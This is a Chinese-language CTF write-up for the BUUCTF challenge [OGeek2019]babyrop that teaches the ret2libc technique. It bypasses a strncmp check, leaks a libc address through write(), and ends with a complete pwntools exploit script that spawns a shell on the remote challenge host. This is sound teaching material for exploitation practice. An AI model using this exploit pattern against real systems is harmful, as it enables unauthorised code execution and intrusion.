ret2libc是一个pwner必备的基础知识。

ret2libcreturn to libc的缩写,我们需要执行libc函数里面的system("/bin/sh")

下面为32位程序并且带.so文件的题目:buuctfOGeek2019]babyrop

[OGeek2019]babyrop

下载两个文件先丢进IDA里面

首先是pwn.elf

shift+F12查看字符串,看到比较有用的就是那个Correct\n但是这个不是逆向题,不用从结果分析,所以这个也是没什么用的,只能等会分析没有看到这个的时候再去整这个。然后也没有看到/bin/sh字符串,那么我们就先放弃字符串入手了。

查看main的伪C代码,得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main()
{
int buf; // [esp+4h] [ebp-14h] BYREF
char v2; // [esp+Bh] [ebp-Dh]
int fd; // [esp+Ch] [ebp-Ch]

sub_80486BB();
fd = open("/dev/urandom", 0);
if ( fd > 0 )
read(fd, &buf, 4u);
v2 = sub_804871F(buf);
sub_80487D0(v2);
return 0;
}

首先给你虚晃一枪,自己获得一个我们不知道的数,如果大于0才执行read(fd,&buf,4u);而我们都知道,read()函数第一个参数必须为0才能让我们输入内容,那么这一段代码直接抛弃,它注定啥也干不了。然后执行了一个函数,跟进去看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl sub_804871F(int a1)
{
size_t v1; // eax
char s[32]; // [esp+Ch] [ebp-4Ch] BYREF
char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF
ssize_t v5; // [esp+4Ch] [ebp-Ch]

memset(s, 0, sizeof(s));
memset(buf, 0, sizeof(buf));
sprintf(s, "%ld", a1);
v5 = read(0, buf, 0x20u);
buf[v5 - 1] = 0;
v1 = strlen(buf);
if ( strncmp(buf, s, v1) )
exit(0);
write(1, "Correct\n", 8u);
return (unsigned __int8)buf[7];
}

因为前面传入的buf指针我们并不可以输入任何值,又是局部变量,所以它的值也是不确定的,然后下面比较要求buf==s字符串,而这个smain()buf,这个函数的buf是我们可以决定的。但是可惜它用的是strncmp指定长度比较字符串,而长度是从这个函数的buf里面算到的,那么我们就可以把字符串第一位置为\x00以躲过检测,然后返回了buf[7],那么这里我们就知道应该输入\x00开始的字符串,至于后面还得看它这个返回值干了啥,返回main()函数发现返回值为下一个函数的参数,而下一个函数

1
2
3
4
5
6
7
8
9
10
11
ssize_t __cdecl sub_80487D0(char a1)
{
ssize_t result; // eax
char buf[231]; // [esp+11h] [ebp-E7h] BYREF

if ( a1 == 127 )
result = read(0, buf, 200u);
else
result = read(0, buf, a1);
return result;
}

很明显我们要在这里溢出了,但是缓冲区大小有足足231,而第一个选项不足以让我们溢出,所以我们如果把参数设为\xff那么就能输入255长度的字符串足以让我们溢出。所以前面的一个payload就可以这么构造

1
2
3
python

payload1=b'\x00'*7+'\xff'

但是找到了溢出点还不够,我们还没获取system()函数的地址,在plt表上也没有这个函数,所以我们打开.so文件,找到system()函数和/bin/sh字符串。注意我们反汇编的是libc文件,所以system()函数不跟平时一样在plt表,而是直接写在了代码段上面。

为什么有这一步呢?因为我在学习的过程中,发现libcsearcher不好用了,在python里面只能用ELF()函数去加载.so文件,但是无法search/bin/sh字符串所以就出现了这一步,然后我们需要执行两次这个main()函数,因为第一次溢出你只能泄露libc的地址。然后我来回答一下为什么不直接再次执行那个溢出的函数,因为我们要传参大于0xe7+0x10才可以溢出,而构造的payload链又比较麻烦,重新溢出最好挑那些没有参数或者参数对我们影响不大的去重新执行。第二次还好说,直接把system()地址和/bin/shpayload传进去就ok。

第一次溢出泄露libc的地址

挑选能输出的函数write()puts()都行,但是write()传参比较多,所以我就用write(),怕万一遇到没有puts()就不会了,所以多会点总是好的,比赛你当然怎么简单怎么来。write()要传的参数第一个传0,第二个传要泄露的libc函数的地址,第三个就是泄露的字节大小,32位程序四字节足矣,你泄露自己也行,我这里选了一个read()函数,道理都是一样的。那么第一次的payload就可以构造出来了

1
payload=b'a'*0xe7+b'a'*4+p32(write_plt)+p32(main_addr)+p32(0)+p32(read_got)+p32(4)

然后就是先去算libc的基址,反推出system()的地址。

libc.sym['read']会返回read()libc里面的偏移,泄露出read()的真实地址就可以算出libc的真实基址了。

1
2
3
4
read_addr=u32(p.recv(4))#拿到真实地址
libc_base=read_addr-libc.sym['read']#拿到真实基址
print('[+]read_addr: ',hex(read_addr))
print('[+]libc_base_addr: ',hex(libc_base))

调试测试一下。

32位程序libc函数都是0xf7开头的,libc加载的时候会内存也对齐,所以末三位一定是0,所以我们这就得到了libc的真实地址。下面两步就把system()/bin/sh算出来就好了。

1
2
system_addr=libc_base+libc.sym['system']
bin_sh_addr=system_addr+0x11e6eb

因为好像并不能直接拿到这个偏移,但是可以在gdb里面调试得到system()相对/bin/sh的偏移,也可以前面IDA查看直接获取偏移,前面的那些地址就是我们所说的偏移,可以直接用,但是这里我们选择难一点的路线,就怕哪次给你直接断了那条简单路线,它不可能断你难的路线留一个简单的路线吧。

第二次溢出直接执行system(“/bin/sh”)

这个payload就是

1
payload=b'a'*0xe7+b'a'*0x4+p32(system_addr)+b'a'*4+p32(bin_sh_addr)

但是一定注意前面的payload1也要再send一次,不然执行不到这里的,我就这里卡了很久。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

#context.log_level='debug'
#p=process('./pwn')
p=remote('node3.buuoj.cn',xxx)
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')
payload1=b'\x00'*7+b'\xff'
p.sendline(payload1)
p.recvuntil(b'Correct\n')
write_plt=elf.plt['write']
read_got=elf.got['read']
main_addr=0x8048825

payload=b'a'*0xe7+b'a'*4+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
p.sendline(payload)
read_addr=u32(p.recv(4))

libc_base=read_addr-libc.sym['read']
system_addr=libc_base+libc.sym['system']
bin_sh_addr=system_addr+0x11e6eb

#print('[+]read_addr: ',hex(read_addr))
#print('[+]libc_base_addr: ',hex(libc_base))
#print('[+]system_addr: ',hex(system_addr))
#print('[+]bin_sh: ',hex(bin_sh_addr))

p.sendline(payload1)#一定要再给一次
p.recvuntil('Correct\n')
payload=b'a'*0xe7+b'a'*0x4+p32(system_addr)+b'a'*4+p32(bin_sh_addr)
p.sendline(payload)

p.interactive()